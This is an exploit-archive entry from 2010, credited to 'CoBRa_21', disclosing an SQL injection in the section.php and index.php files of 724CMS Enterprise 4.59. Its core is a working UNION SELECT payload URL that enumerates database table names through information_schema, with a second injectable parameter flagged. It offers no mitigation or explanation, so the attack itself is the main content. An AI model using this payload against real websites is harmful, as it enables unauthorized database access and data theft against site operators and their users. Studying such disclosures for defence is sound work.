[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : 724CMS Enterprise Version 4.59 (section.php) SQL Injection Vulnerability
# Published : 2010-05-11
# Author : CoBRa_21
# Previous Title : 724CMS Enterprise Version 4.59 (section.php) LFI Vulnerability
# Next Title : Aqar Script V.1 Remote By pass Exploit 


-------------------------------------------------------------------------------------------

724CMS Enterprise Version 4.59 (section.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Name: 724CMS Enterprise Version 4.59

Download: http://724cms.com/

-------------------------------------------------------------------------------------------

Exploit:

http://localhost/[path]/section.php?Nav=Section&ID=-1 union select 0,1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.tables--

http://localhost/[path]/index.php?auto_slide=&ID=-1 [SQL]

-------------------------------------------------------------------------------------------

Thanks cyberlog ;)

-------------------------------------------------------------------------------------------